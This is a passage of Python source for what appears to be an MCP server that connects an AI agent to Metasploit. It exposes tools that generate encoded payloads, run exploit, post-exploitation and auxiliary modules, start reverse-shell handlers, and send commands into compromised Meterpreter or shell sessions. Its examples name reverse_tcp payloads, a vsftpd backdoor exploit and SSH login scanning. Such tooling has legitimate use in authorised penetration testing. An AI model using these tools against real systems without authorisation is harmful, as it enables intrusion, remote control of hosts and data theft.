available Metasploit payloads, optionally filtered by platform and/or architecture. 778 | 779 | Args: 780 | platform: Optional platform filter (e.g., 'windows', 'linux', 'python', 'php'). 781 | arch: Optional architecture filter (e.g., 'x86', 'x64', 'cmd', 'meterpreter'). 782 | 783 | Returns: 784 | List of payload names matching filters (max 100). 785 | """ 786 | client = get_msf_client() 787 | logger.info(f"Listing payloads (platform: '{platform or 'Any'}', arch: '{arch or 'Any'}')") 788 | try: 789 | # Add timeout to prevent hanging on slow/unresponsive MSF server 790 | logger.debug(f"Calling client.modules.payloads with {RPC_CALL_TIMEOUT}s timeout...") 791 | payloads = await asyncio.wait_for( 792 | asyncio.to_thread(lambda: client.modules.payloads), 793 | timeout=RPC_CALL_TIMEOUT 794 | ) 795 | logger.debug(f"Retrieved {len(payloads)} total payloads from MSF.") 796 | filtered = payloads 797 | if platform: 798 | plat_lower = platform.lower() 799 | # Match platform at the start of the payload path segment or within common paths 800 | filtered = [p for p in filtered if p.lower().startswith(plat_lower + '/') or f"/{plat_lower}/" in p.lower()] 801 | if arch: 802 | arch_lower = arch.lower() 803 | # Match architecture more flexibly (e.g., '/x64/', 'meterpreter') 804 | filtered = [p for p in filtered if f"/{arch_lower}/" in p.lower() or arch_lower in p.lower().split('/')] 805 | 806 | count = len(filtered) 807 | limit = 100 808 | logger.info(f"Found {count} payloads matching filters. Returning max {limit}.") 809 | return filtered[:limit] 810 | except asyncio.TimeoutError: 811 | error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing payloads from Metasploit server. Server may be slow or unresponsive." 812 | logger.error(error_msg) 813 | return [f"Error: {error_msg}"] 814 | except MsfRpcError as e: 815 | logger.error(f"Metasploit RPC error while listing payloads: {e}") 816 | return [f"Error: Metasploit RPC error: {e}"] 817 | except Exception as e: 818 | logger.exception("Unexpected error listing payloads.") 819 | return [f"Error: Unexpected error listing payloads: {e}"] 820 | 821 | @mcp.tool() 822 | async def generate_payload( 823 | payload_type: str, 824 | format_type: str, 825 | options: Union[Dict[str, Any], str], # Required: e.g., {"LHOST": "1.2.3.4", "LPORT": 4444} or "LHOST=1.2.3.4,LPORT=4444" 826 | encoder: Optional[str] = None, 827 | iterations: int = 0, 828 | bad_chars: str = "", 829 | nop_sled_size: int = 0, 830 | template_path: Optional[str] = None, 831 | keep_template: bool = False, 832 | force_encode: bool = False, 833 | output_filename: Optional[str] = None, 834 | ) -> Dict[str, Any]: 835 | """ 836 | Generate a Metasploit payload using the RPC API (payload.generate). 837 | Saves the generated payload to a file on the server if successful. 838 | 839 | Args: 840 | payload_type: Type of payload (e.g., windows/meterpreter/reverse_tcp). 841 | format_type: Output format (raw, exe, python, etc.). 842 | options: Dictionary of required payload options (e.g., {"LHOST": "1.2.3.4", "LPORT": 4444}) 843 | or string format "LHOST=1.2.3.4,LPORT=4444". Prefer dict format. 844 | encoder: Optional encoder to use. 845 | iterations: Optional number of encoding iterations. 846 | bad_chars: Optional string of bad characters to avoid (e.g., '\\x00\\x0a\\x0d'). 847 | nop_sled_size: Optional size of NOP sled. 848 | template_path: Optional path to an executable template. 849 | keep_template: Keep the template working (requires template_path). 850 | force_encode: Force encoding even if not needed by bad chars. 851 | output_filename: Optional desired filename (without path). If None, a default name is generated. 852 | 853 | Returns: 854 | Dictionary containing status, message, payload size/info, and server-side save path. 855 | """ 856 | client = get_msf_client() 857 | logger.info(f"Generating payload '{payload_type}' (Format: {format_type}) via RPC. Options: {options}") 858 | 859 | # Parse options gracefully 860 | try: 861 | parsed_options = _parse_options_gracefully(options) 862 | except ValueError as e: 863 | return {"status": "error", "message": f"Invalid options format: {e}"} 864 | 865 | if not parsed_options: 866 | return {"status": "error", "message": "Payload 'options' dictionary (e.g., LHOST, LPORT) is required."} 867 | 868 | try: 869 | # Get the payload module object 870 | payload = await _get_module_object('payload', payload_type) 871 | 872 | # Set payload-specific required options (like LHOST/LPORT) 873 | await _set_module_options(payload, parsed_options) 874 | 875 | # Set payload generation options in payload.runoptions 876 | # as per the pymetasploit3 documentation 877 | logger.info("Setting payload generation options in payload.runoptions...") 878 | 879 | # Define a function to update an individual runoption 880 | async def update_runoption(key, value): 881 | if value is None: 882 | return 883 | await asyncio.to_thread(lambda k=key, v=value: payload.runoptions.__setitem__(k, v)) 884 | logger.debug(f"Set runoption {key}={value}") 885 | 886 | # Set generation options individually 887 | await update_runoption('Format', format_type) 888 | if encoder: 889 | await update_runoption('Encoder', encoder) 890 | if iterations: 891 | await update_runoption('Iterations', iterations) 892 | if bad_chars is not None: 893 | await update_runoption('BadChars', bad_chars) 894 | if nop_sled_size: 895 | await update_runoption('NopSledSize', nop_sled_size) 896 | if template_path: 897 | await update_runoption('Template', template_path) 898 | if keep_template: 899 | await update_runoption('KeepTemplateWorking', keep_template) 900 | if force_encode: 901 | await update_runoption('ForceEncode', force_encode) 902 | 903 | # Generate the payload bytes using payload.payload_generate() 904 | logger.info("Calling payload.payload_generate()...") 905 | raw_payload_bytes = await asyncio.to_thread(lambda: payload.payload_generate()) 906 | 907 | if not isinstance(raw_payload_bytes, bytes): 908 | error_msg = f"Payload generation failed. Expected bytes, got {type(raw_payload_bytes)}: {str(raw_payload_bytes)[:200]}" 909 | logger.error(error_msg) 910 | # Try to extract specific error from potential dictionary response 911 | if isinstance(raw_payload_bytes, dict) and raw_payload_bytes.get('error'): 912 | error_msg = raw_payload_bytes.get('error_message', str(raw_payload_bytes)) 913 | return {"status": "error", "message": f"Payload generation failed: {error_msg}"} 914 | 915 | payload_size = len(raw_payload_bytes) 916 | logger.info(f"Payload generation successful. Size: {payload_size} bytes.") 917 | 918 | # --- Save Payload --- 919 | # Ensure directory exists 920 | try: 921 | os.makedirs(PAYLOAD_SAVE_DIR, exist_ok=True) 922 | logger.debug(f"Ensured payload directory exists: {PAYLOAD_SAVE_DIR}") 923 | except OSError as e: 924 | logger.error(f"Failed to create payload save directory {PAYLOAD_SAVE_DIR}: {e}") 925 | return { 926 | "status": "error", 927 | "message": f"Payload generated ({payload_size} bytes) but could not create save directory: {e}", 928 | "payload_size": payload_size, "format": format_type 929 | } 930 | 931 | # Determine filename (with basic sanitization) 932 | final_filename = None 933 | if output_filename: 934 | sanitized = re.sub(r'[^a-zA-Z0-9_.\-]', '_', os.path.basename(output_filename)) # Basic sanitize + basename 935 | if sanitized: final_filename = sanitized 936 | 937 | if not final_filename: 938 | timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") 939 | safe_payload_type = re.sub(r'[^a-zA-Z0-9_]', '_', payload_type) 940 | safe_format = re.sub(r'[^a-zA-Z0-9_]', '_', format_type) 941 | final_filename = f"payload_{safe_payload_type}_{timestamp}.{safe_format}" 942 | 943 | save_path = os.path.join(PAYLOAD_SAVE_DIR, final_filename) 944 | 945 | # Write payload to file 946 | try: 947 | with open(save_path, "wb") as f: 948 | f.write(raw_payload_bytes) 949 | logger.info(f"Payload saved to {save_path}") 950 | return { 951 | "status": "success", 952 | "message": f"Payload '{payload_type}' generated successfully and saved.", 953 | "payload_size": payload_size, 954 | "format": format_type, 955 | "server_save_path": save_path 956 | } 957 | except IOError as e: 958 | logger.error(f"Failed to write payload to {save_path}: {e}") 959 | return { 960 | "status": "error", 961 | "message": f"Payload generated but failed to save to file: {e}", 962 | "payload_size": payload_size, "format": format_type 963 | } 964 | 965 | except (ValueError, MsfRpcError) as e: # Catches errors from _get_module_object, _set_module_options 966 | error_str = str(e).lower() 967 | logger.error(f"Error generating payload {payload_type}: {e}") 968 | if "invalid payload type" in error_str or "unknown module" in error_str: 969 | return {"status": "error", "message": f"Invalid payload type: {payload_type}"} 970 | elif "missing required option" in error_str or "invalid option" in error_str: 971 | missing = getattr(payload, 'missing_required', []) if 'payload' in locals() else [] 972 | return {"status": "error", "message": f"Missing/invalid options for payload {payload_type}: {e}", "missing_required": missing} 973 | return {"status": "error", "message": f"Error generating payload: {e}"} 974 | except AttributeError as e: # Specifically catch if payload_generate is missing 975 | logger.exception(f"AttributeError during payload generation for '{payload_type}': {e}") 976 | if "object has no attribute 'payload_generate'" in str(e): 977 | return {"status": "error", "message": f"The pymetasploit3 payload module doesn't have the payload_generate method. Please check library version/compatibility."} 978 | return {"status": "error", "message": f"An attribute error occurred: {e}"} 979 | except Exception as e: 980 | logger.exception(f"Unexpected error during payload generation for '{payload_type}'.") 981 | return {"status": "error", "message": f"An unexpected server error occurred during payload generation: {e}"} 982 | 983 | @mcp.tool() 984 | async def run_exploit( 985 | module_name: str, 986 | options: Dict[str, Any], 987 | payload_name: Optional[str] = None, 988 | payload_options: Optional[Union[Dict[str, Any], str]] = None, 989 | run_as_job: bool = False, 990 | check_vulnerability: bool = False, # New option 991 | timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT # Used only if run_as_job=False 992 | ) -> Dict[str, Any]: 993 | """ 994 | Run a Metasploit exploit module with specified options. Handles async (job) 995 | and sync (console) execution, and includes session polling for jobs. 996 | 997 | Args: 998 | module_name: Name/path of the exploit module (e.g., 'unix/ftp/vsftpd_234_backdoor'). 999 | options: Dictionary of exploit module options (e.g., {'RHOSTS': '192.168.1.1'}). 1000 | payload_name: Name of the payload (e.g., 'linux/x86/meterpreter/reverse_tcp'). 1001 | payload_options: Dictionary of payload options (e.g., {'LHOST': '...', 'LPORT': ...}) 1002 | or string format "LHOST=1.2.3.4,LPORT=4444". Prefer dict format. 1003 | run_as_job: If False (default), run sync via console. If True, run async via RPC. 1004 | check_vulnerability: If True, run module's 'check' action first (if available). 1005 | timeout_seconds: Max time for synchronous run via console. 1006 | 1007 | Returns: 1008 | Dictionary with execution results (job_id, session_id, output) or error details. 1009 | """ 1010 | logger.info(f"Request to run exploit '{module_name}'. Job: {run_as_job}, Check: {check_vulnerability}, Payload: {payload_name}") 1011 | 1012 | # Parse payload options gracefully 1013 | try: 1014 | parsed_payload_options = _parse_options_gracefully(payload_options) 1015 | except ValueError as e: 1016 | return {"status": "error", "message": f"Invalid payload_options format: {e}"} 1017 | 1018 | payload_spec = None 1019 | if payload_name: 1020 | payload_spec = {"name": payload_name, "options": parsed_payload_options} 1021 | 1022 | if check_vulnerability: 1023 | logger.info(f"Performing vulnerability check first for {module_name}...") 1024 | try: 1025 | # Use the console helper for 'check' as it provides output 1026 | check_result = await _execute_module_console( 1027 | module_type='exploit', 1028 | module_name=module_name, 1029 | module_options=options, 1030 | command='check', # Use the 'check' command 1031 | timeout=timeout_seconds 1032 | ) 1033 | logger.info(f"Vulnerability check result: {check_result.get('status')} - {check_result.get('message')}") 1034 | output = check_result.get("module_output", "").lower() 1035 | # Check output for positive indicators 1036 | is_vulnerable = "appears vulnerable" in output or "is vulnerable" in output or "+ vulnerable" in output 1037 | # Check for negative indicators (more reliable sometimes) 1038 | is_not_vulnerable = "does not appear vulnerable" in output or "is not vulnerable" in output or "target is not vulnerable" in output or "check failed" in output 1039 | if check_result.get('status') == "errror": 1040 | logger.warning(f"Error from metasploit: {check_result}") 1041 | return {"status": "aborted", "message": f"Check indicates a failure: {check_result.get('message')}", "check_output": check_result.get("module_output")} 1042 | 1043 | if is_not_vulnerable or (not is_vulnerable and check_result.get("status") == "error"): 1044 | logger.warning(f"Check indicates target is likely not vulnerable to {module_name}.") 1045 | return {"status": "aborted", "message": f"Check indicates target not vulnerable. Exploit not attempted.", "check_output": check_result.get("module_output")} 1046 | elif not is_vulnerable: 1047 | logger.warning(f"Check result inconclusive for {module_name}. Proceeding with exploit attempt cautiously.") 1048 | else: 1049 | logger.info(f"Check indicates target appears vulnerable to {module_name}. Proceeding.") 1050 | # Optionally return check output here if needed by the agent 1051 | 1052 | except Exception as chk_e: 1053 | logger.warning(f"Vulnerability check failed for {module_name}: {chk_e}. Proceeding with exploit attempt.") 1054 | # Fall through to exploit attempt 1055 | 1056 | # Execute the exploit 1057 | if run_as_job: 1058 | return await _execute_module_rpc( 1059 | module_type='exploit', 1060 | module_name=module_name, 1061 | module_options=options, 1062 | payload_spec=payload_spec 1063 | ) 1064 | else: 1065 | return await _execute_module_console( 1066 | module_type='exploit', 1067 | module_name=module_name, 1068 | module_options=options, 1069 | command='exploit', 1070 | payload_spec=payload_spec, 1071 | timeout=timeout_seconds 1072 | ) 1073 | 1074 | @mcp.tool() 1075 | async def run_post_module( 1076 | module_name: str, 1077 | session_id: int, 1078 | options: Dict[str, Any] = None, 1079 | run_as_job: bool = False, 1080 | timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT 1081 | ) -> Dict[str, Any]: 1082 | """ 1083 | Run a Metasploit post-exploitation module against a session. 1084 | 1085 | Args: 1086 | module_name: Name/path of the post module (e.g., 'windows/gather/enum_shares'). 1087 | session_id: The ID of the target session. 1088 | options: Dictionary of module options. 'SESSION' will be added automatically. 1089 | run_as_job: If False (default), run sync via console. If True, run async via RPC. 1090 | timeout_seconds: Max time for synchronous run via console. 1091 | 1092 | Returns: 1093 | Dictionary with execution results or error details. 1094 | """ 1095 | logger.info(f"Request to run post module {module_name} on session {session_id}. Job: {run_as_job}") 1096 | module_options = options or {} 1097 | module_options['SESSION'] = session_id # Ensure SESSION is always set 1098 | 1099 | # Add basic session validation before running 1100 | client = get_msf_client() 1101 | try: 1102 | current_sessions = await asyncio.to_thread(lambda: client.sessions.list) 1103 | if str(session_id) not in current_sessions: 1104 | logger.error(f"Session {session_id} not found for post module {module_name}.") 1105 | return {"status": "error", "message": f"Session {session_id} not found.", "module": module_name} 1106 | except MsfRpcError as e: 1107 | logger.error(f"Failed to validate session {session_id} before running post module: {e}") 1108 | # Optionally proceed with caution or return error 1109 | return {"status": "error", "message": f"Error validating session {session_id}: {e}", "module": module_name} 1110 | 1111 | 1112 | if run_as_job: 1113 | return await _execute_module_rpc( 1114 | module_type='post', 1115 | module_name=module_name, 1116 | module_options=module_options 1117 | # No payload for post modules 1118 | ) 1119 | else: 1120 | return await _execute_module_console( 1121 | module_type='post', 1122 | module_name=module_name, 1123 | module_options=module_options, 1124 | command='run', 1125 | timeout=timeout_seconds 1126 | ) 1127 | 1128 | @mcp.tool() 1129 | async def run_auxiliary_module( 1130 | module_name: str, 1131 | options: Dict[str, Any], 1132 | run_as_job: bool = False, # Default False for scanners often makes sense 1133 | check_target: bool = False, # Add check option similar to exploit 1134 | timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT 1135 | ) -> Dict[str, Any]: 1136 | """ 1137 | Run a Metasploit auxiliary module. 1138 | 1139 | Args: 1140 | module_name: Name/path of the auxiliary module (e.g., 'scanner/ssh/ssh_login'). 1141 | options: Dictionary of module options (e.g., {'RHOSTS': ..., 'USERNAME': ...}). 1142 | run_as_job: If False (default), run sync via console. If True, run async via RPC. 1143 | check_target: If True, run module's 'check' action first (if available). 1144 | timeout_seconds: Max time for synchronous run via console. 1145 | 1146 | Returns: 1147 | Dictionary with execution results or error details. 1148 | """ 1149 | logger.info(f"Request to run auxiliary module {module_name}. Job: {run_as_job}, Check: {check_target}") 1150 | module_options = options or {} 1151 | 1152 | if check_target: 1153 | logger.info(f"Performing check first for auxiliary module {module_name}...") 1154 | try: 1155 | # Use the console helper for 'check' 1156 | check_result = await _execute_module_console( 1157 | module_type='auxiliary', 1158 | module_name=module_name, 1159 | module_options=options, 1160 | command='check', 1161 | timeout=timeout_seconds 1162 | ) 1163 | logger.info(f"Auxiliary check result: {check_result.get('status')} - {check_result.get('message')}") 1164 | output = check_result.get("module_output", "").lower() 1165 | # Generic check for positive outcome (aux check output varies widely) 1166 | is_positive = "host is likely vulnerable" in output or "target appears reachable" in output or "+ check" in output 1167 | is_negative = "host is not vulnerable" in output or "target is not reachable" in output or "check failed" in output 1168 | 1169 | if is_negative or (not is_positive and check_result.get("status") == "error"): 1170 | logger.warning(f"Check indicates target may not be suitable for {module_name}.") 1171 | return {"status": "aborted", "message": f"Check indicates target unsuitable. Module not run.", "check_output": check_result.get("module_output")} 1172 | elif not is_positive: 1173 | logger.warning(f"Check result inconclusive for {module_name}. Proceeding with run.") 1174 | else: 1175 | logger.info(f"Check appears positive for {module_name}. Proceeding.") 1176 | 1177 | except Exception as chk_e: 1178 | logger.warning(f"Check failed for auxiliary {module_name}: {chk_e}. Proceeding with run attempt.") 1179 | 1180 | if run_as_job: 1181 | return await _execute_module_rpc( 1182 | module_type='auxiliary', 1183 | module_name=module_name, 1184 | module_options=module_options 1185 | # No payload for aux modules 1186 | ) 1187 | else: 1188 | return await _execute_module_console( 1189 | module_type='auxiliary', 1190 | module_name=module_name, 1191 | module_options=module_options, 1192 | command='run', 1193 | timeout=timeout_seconds 1194 | ) 1195 | 1196 | @mcp.tool() 1197 | async def list_active_sessions() -> Dict[str, Any]: 1198 | """List active Metasploit sessions with their details.""" 1199 | client = get_msf_client() 1200 | logger.info("Listing active Metasploit sessions.") 1201 | try: 1202 | logger.debug(f"Calling client.sessions.list with {RPC_CALL_TIMEOUT}s timeout...") 1203 | sessions_dict = await asyncio.wait_for( 1204 | asyncio.to_thread(lambda: client.sessions.list), 1205 | timeout=RPC_CALL_TIMEOUT 1206 | ) 1207 | if not isinstance(sessions_dict, dict): 1208 | logger.error(f"Expected dict from sessions.list, got {type(sessions_dict)}") 1209 | return {"status": "error", "message": f"Unexpected data type for sessions list: {type(sessions_dict)}"} 1210 | 1211 | logger.info(f"Found {len(sessions_dict)} active sessions.") 1212 | # Ensure keys are strings for consistent JSON 1213 | sessions_dict_str_keys = {str(k): v for k, v in sessions_dict.items()} 1214 | return {"status": "success", "sessions": sessions_dict_str_keys, "count": len(sessions_dict_str_keys)} 1215 | except asyncio.TimeoutError: 1216 | error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing sessions from Metasploit server. Server may be slow or unresponsive." 1217 | logger.error(error_msg) 1218 | return {"status": "error", "message": error_msg} 1219 | except MsfRpcError as e: 1220 | logger.error(f"Metasploit RPC error while listing sessions: {e}") 1221 | return {"status": "error", "message": f"Metasploit RPC error: {e}"} 1222 | except Exception as e: 1223 | logger.exception("Unexpected error listing sessions.") 1224 | return {"status": "error", "message": f"Unexpected error listing sessions: {e}"} 1225 | 1226 | @mcp.tool() 1227 | async def send_session_command( 1228 | session_id: int, 1229 | command: str, 1230 | timeout_seconds: int = SESSION_COMMAND_TIMEOUT, 1231 | ) -> Dict[str, Any]: 1232 | """ 1233 | Send a command to an active Metasploit session (Meterpreter or Shell) and get output. 1234 | Uses session.run_with_output for Meterpreter, and a prompt-aware loop for shells. 1235 | The agent is responsible for parsing the raw output. 1236 | 1237 | In Meterpreter mode, to run a shell command, run `shell` to enter the shell mode first. 1238 | To exit shell mode and return to Meterpreter, run `exit`. 1239 | 1240 | Args: 1241 | session_id: ID of the target session. 1242 | command: Command string to execute in the session. 1243 | timeout_seconds: Maximum time to wait for the command to complete. 1244 | 1245 | Returns: 1246 | Dictionary with status ('success', 'error', 'timeout') and raw command output. 1247 | """ 1248 | client = get_msf_client() 1249 | logger.info(f"Sending command to session {session_id}: '{command}'") 1250 | session_id_str = str(session_id) 1251 | 1252 | try: 1253 | # --- Get Session Info and Object --- 1254 | current_sessions = await asyncio.to_thread(lambda: client.sessions.list) 1255 | if session_id_str not in current_sessions: 1256 | logger.error(f"Session {session_id} not found.") 1257 | return {"status": "error", "message": f"Session {session_id} not found."} 1258 | 1259 | session_info = current_sessions[session_id_str] 1260 | session_type = session_info.get('type', 'unknown').lower() if isinstance(session_info, dict) else 'unknown' 1261 | logger.debug(f"Session {session_id} type: {session_type}") 1262 | 1263 | session = await asyncio.to_thread(lambda: client.sessions.session(session_id_str)) 1264 | if not session: 1265 | logger.error(f"Failed to get session object for existing session {session_id}.") 1266 | return {"status": "error", "message": f"Error retrieving session {session_id} object."} 1267 | 1268 | # --- Execute Command Based on Type --- 1269 | output = "" 1270 | status = "error" # Default status 1271 | message = "Command execution failed or type unknown." 1272 | 1273 | if session_type == 'meterpreter': 1274 | if session_shell_type.get(session_id_str) is None: 1275 | session_shell_type[session_id_str] = 'meterpreter' 1276 | 1277 | logger.debug(f"Using session.run_with_output for Meterpreter session {session_id}") 1278 | try: 1279 | # Use asyncio.wait_for to handle timeout manually since run_with_output doesn't support timeout parameter 1280 | if command == "shell": 1281 | if session_shell_type[session_id_str] == 'meterpreter': 1282 | output = session.run_with_output(command, end_strs=['created.']) 1283 | session_shell_type[session_id_str] = 'shell' 1284 | session.read() # Clear buffer 1285 | else: 1286 | output = "You are already in shell mode." 1287 | elif command == "exit": 1288 | if session_shell_type[session_id_str] == 'meterpreter': 1289 | output = "You are already in meterpreter mode. No need to exit." 1290 | else: 1291 | session.read() # Clear buffer 1292 | session.detach() 1293 | session_shell_type[session_id_str] = 'meterpreter' 1294 | else: 1295 | output = await asyncio.wait_for( 1296 | asyncio.to_thread(lambda: session.run_with_output(command)), 1297 | timeout=timeout_seconds 1298 | ) 1299 | status = "success" 1300 | message = "Meterpreter command executed successfully." 1301 | logger.debug(f"Meterpreter command '{command}' completed.") 1302 | except asyncio.TimeoutError: 1303 | status = "timeout" 1304 | message = f"Meterpreter command timed out after {timeout_seconds} seconds." 1305 | logger.warning(f"Command '{command}' timed out on Meterpreter session {session_id}") 1306 | # Try a final read for potentially partial output 1307 | try: 1308 | output = await asyncio.to_thread(lambda: session.read()) or "" 1309 | except: pass 1310 | except (MsfRpcError, Exception) as run_err: 1311 | logger.error(f"Error during Meterpreter run_with_output for command '{command}': {run_err}") 1312 | message = f"Error executing Meterpreter command: {run_err}" 1313 | # Try a final read 1314 | try: 1315 | output = await asyncio.to_thread(lambda: session.read()) or "" 1316 | except: pass 1317 | 1318 | elif session_type == 'shell': 1319 | logger.debug(f"Using manual read loop for Shell session {session_id}") 1320 | try: 1321 | await asyncio.to_thread(lambda: session.write(command + "\n")) 1322 | 1323 | # If the command is exit, don't wait for output/prompt, assume it worked 1324 | if command.strip().lower() == 'exit': 1325 | logger.info(f"Sent 'exit' to shell session {session_id}, assuming success without reading output.") 1326 | status = "success" 1327 | message = "Exit command sent to shell session." 1328 | output = "(No output expected after exit)" 1329 | # Skip the read loop for exit command 1330 | return {"status": status, "message": message, "output": output} 1331 | 1332 | # Proceed with read loop for non-exit commands 1333 | output_buffer = "" 1334 | start_time = asyncio.get_event_loop().time() 1335 | last_data_time = start_time 1336 | read_interval = 0.1 1337 | 1338 | while True: 1339 | now = asyncio.get_event_loop().time() 1340 | if (now - start_time) > timeout_seconds: 1341 | status = "timeout" 1342 | message = f"Shell command timed out after {timeout_seconds} seconds." 1343 | logger.warning(f"Command '{command}' timed out on Shell session {session_id}") 1344 | break 1345 | 1346 | chunk = await asyncio.to_thread(lambda: session.read()) 1347 | if chunk: 1348 | output_buffer += chunk 1349 | last_data_time = now 1350 | # Check if the prompt appears at the end of the current buffer 1351 | if SHELL_PROMPT_RE.search(output_buffer): 1352 | logger.debug(f"Detected shell prompt for command '{command}'.") 1353 | status = "success" 1354 | message = "Shell command executed successfully." 1355 | break 1356 | elif (now - last_data_time) > SESSION_READ_INACTIVITY_TIMEOUT: 1357 | logger.debug(f"Shell inactivity timeout ({SESSION_READ_INACTIVITY_TIMEOUT}s) reached for command '{command}'. Assuming complete.") 1358 | status = "success" # Assume success if inactive after sending command 1359 | message = "Shell command likely completed (inactivity)." 1360 | break 1361 | 1362 | await asyncio.sleep(read_interval) 1363 | output = output_buffer # Assign final buffer to output 1364 | except (MsfRpcError, Exception) as run_err: 1365 | # Special handling for errors after sending 'exit' 1366 | if command.strip().lower() == 'exit': 1367 | logger.warning(f"Error occurred after sending 'exit' to shell {session_id}: {run_err}. This might be expected as session closes.") 1368 | status = "success" # Treat as success 1369 | message = f"Exit command sent, subsequent error likely due to session closing: {run_err}" 1370 | output = "(Error reading after exit, likely expected)" 1371 | else: 1372 | logger.error(f"Error during Shell write/read loop for command '{command}': {run_err}") 1373 | message = f"Error executing Shell command: {run_err}" 1374 | output = output_buffer # Return potentially partial output 1375 | 1376 | else: # Unknown session type 1377 | logger.warning(f"Cannot execute command: Unknown session type '{session_type}' for session {session_id}") 1378 | message = f"Cannot execute command: Unknown session type '{session_type}'." 1379 | 1380 | return {"status": status, "message": message, "output": output} 1381 | 1382 | except MsfRpcError as e: 1383 | if "Session ID is not valid" in str(e): 1384 | logger.error(f"RPC Error: Session {session_id} is invalid: {e}") 1385 | return {"status": "error", "message": f"Session {session_id} is not valid."} 1386 | logger.error(f"MsfRpcError interacting with session {session_id}: {e}") 1387 | return {"status": "error", "message": f"Error interacting with session {session_id}: {e}"} 1388 | except KeyError: # May occur if session disappears between list and access 1389 | logger.error(f"Session {session_id} likely disappeared (KeyError).") 1390 | return {"status": "error", "message": f"Session {session_id} not found or disappeared."} 1391 | except Exception as e: 1392 | logger.exception(f"Unexpected error sending command to session {session_id}.") 1393 | return {"status": "error", "message": f"Unexpected server error sending command: {e}"} 1394 | 1395 | 1396 | # --- Job and Listener Management Tools --- 1397 | 1398 | @mcp.tool() 1399 | async def list_listeners() -> Dict[str, Any]: 1400 | """List all active Metasploit jobs, categorizing exploit/multi/handler jobs.""" 1401 | client = get_msf_client() 1402 | logger.info("Listing active listeners/jobs") 1403 | try: 1404 | logger.debug(f"Calling client.jobs.list with {RPC_CALL_TIMEOUT}s timeout...") 1405 | jobs = await asyncio.wait_for( 1406 | asyncio.to_thread(lambda: client.jobs.list), 1407 | timeout=RPC_CALL_TIMEOUT 1408 | ) 1409 | if not isinstance(jobs, dict): 1410 | logger.error(f"Unexpected data type for jobs list: {type(jobs)}") 1411 | return {"status": "error", "message": f"Unexpected data type for jobs list: {type(jobs)}"} 1412 | 1413 | logger.info(f"Retrieved {len(jobs)} active jobs from MSF.") 1414 | handlers = {} 1415 | other_jobs = {} 1416 | 1417 | for job_id, job_info in jobs.items(): 1418 | job_id_str = str(job_id) 1419 | job_data = { 'job_id': job_id_str, 'name': 'Unknown', 'details': job_info } # Store raw info 1420 | 1421 | is_handler = False 1422 | if isinstance(job_info, dict): 1423 | job_data['name'] = job_info.get('name', 'Unknown Job') 1424 | job_data['start_time'] = job_info.get('start_time') # Keep if useful 1425 | datastore = job_info.get('datastore', {}) 1426 | if isinstance(datastore, dict): job_data['datastore'] = datastore # Include datastore 1427 | 1428 | # Primary check: module path in name or info 1429 | job_name_or_info = (job_info.get('name', '') + job_info.get('info', '')).lower() 1430 | if 'exploit/multi/handler' in job_name_or_info: 1431 | is_handler = True 1432 | # Secondary check: presence of typical handler options 1433 | elif 'payload' in datastore or ('lhost' in datastore and 'lport' in datastore): 1434 | is_handler = True 1435 | logger.debug(f"Job {job_id_str} identified as potential handler via datastore options.") 1436 | 1437 | if is_handler: 1438 | logger.debug(f"Categorized job {job_id_str} as a handler.") 1439 | handlers[job_id_str] = job_data 1440 | else: 1441 | logger.debug(f"Categorized job {job_id_str} as non-handler.") 1442 | other_jobs[job_id_str] = job_data 1443 | 1444 | return { 1445 | "status": "success", 1446 | "handlers": handlers, 1447 | "other_jobs": other_jobs, 1448 | "handler_count": len(handlers), 1449 | "other_job_count": len(other_jobs), 1450 | "total_job_count": len(jobs) 1451 | } 1452 | 1453 | except asyncio.TimeoutError: 1454 | error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing jobs from Metasploit server. Server may be slow or unresponsive." 1455 | logger.error(error_msg) 1456 | return {"status": "error", "message": error_msg} 1457 | except MsfRpcError as e: 1458 | logger.error(f"Metasploit RPC error while listing jobs/handlers: {e}") 1459 | return {"status": "error", "message": f"Metasploit RPC error: {e}"} 1460 | except Exception as e: 1461 | logger.exception("Unexpected error listing jobs/handlers.") 1462 | return {"status": "error", "message": f"Unexpected server error listing jobs: {e}"} 1463 | 1464 | @mcp.tool() 1465 | async def start_listener( 1466 | payload_type: str, 1467 | lhost: str, 1468 | lport: int, 1469 | additional_options: Optional[Union[Dict[str, Any], str]] = None, 1470 | exit_on_session: bool = False # Option to keep listener running 1471 | ) -> Dict[str, Any]: 1472 | """ 1473 | Start a new Metasploit handler (exploit/multi/handler) as a background job. 1474 | 1475 | Args: 1476 | payload_type: The payload to handle (e.g., 'windows/meterpreter/reverse_tcp'). 1477 | lhost: Listener host address. 1478 | lport: Listener port (1-65535). 1479 | additional_options: Optional dict of additional payload options (e.g., {"LURI": "/path"}) 1480 | or string format "LURI=/path,HandlerSSLCert=cert.pem". Prefer dict format. 1481 | exit_on_session: If True, handler exits after first session. If False (default), it keeps running. 1482 | 1483 | Returns: 1484 | Dictionary with handler status (job_id) or error details. 1485 | """ 1486 | logger.info(f"Request to start listener for {payload_type} on {lhost}:{lport}. ExitOnSession: {exit_on_session}") 1487 | 1488 | if not (1 <= lport <= 65535): 1489 | return {"status": "error", "message": "Invalid LPORT. Must be between 1 and 65535."} 1490 | 1491 | # Parse additional options gracefully 1492 | try: 1493 | parsed_additional_options = _parse_options_gracefully(additional_options) 1494 | except ValueError as e: 1495 | return {"status": "error", "message": f"Invalid additional_options format: {e}"} 1496 | 1497 | # exploit/multi/handler options 1498 | module_options = {'ExitOnSession': exit_on_session} 1499 | # Payload options (passed within the payload_spec) 1500 | payload_options = parsed_additional_options 1501 | payload_options['LHOST'] = lhost 1502 | payload_options['LPORT'] = lport 1503 | 1504 | payload_spec = {"name": payload_type, "options": payload_options} 1505 | 1506 | # Use the RPC helper to start the handler job 1507 | result = await _execute_module_rpc( 1508 | module_type='exploit', 1509 | module_name='multi/handler', # Use base name for helper 1510 | module_options=module_options, 1511 | payload_spec=payload_spec 1512 | ) 1513 | 1514 | # Rename status/message slightly for clarity 1515 | if result.get("status") == "success": 1516 | result["message"] = f"Listener for {payload_type} started as job {result.get('job_id')} on {lhost}:{lport}." 1517 | elif result.get("status") == "warning": # e.g., job started but polling failed (not applicable here but handle) 1518 | result["message"] = f"Listener job {result.get('job_id')} started, but encountered issues: {result.get('message')}" 1519 | else: # Error case 1520 | result["message"] = f"Failed to start 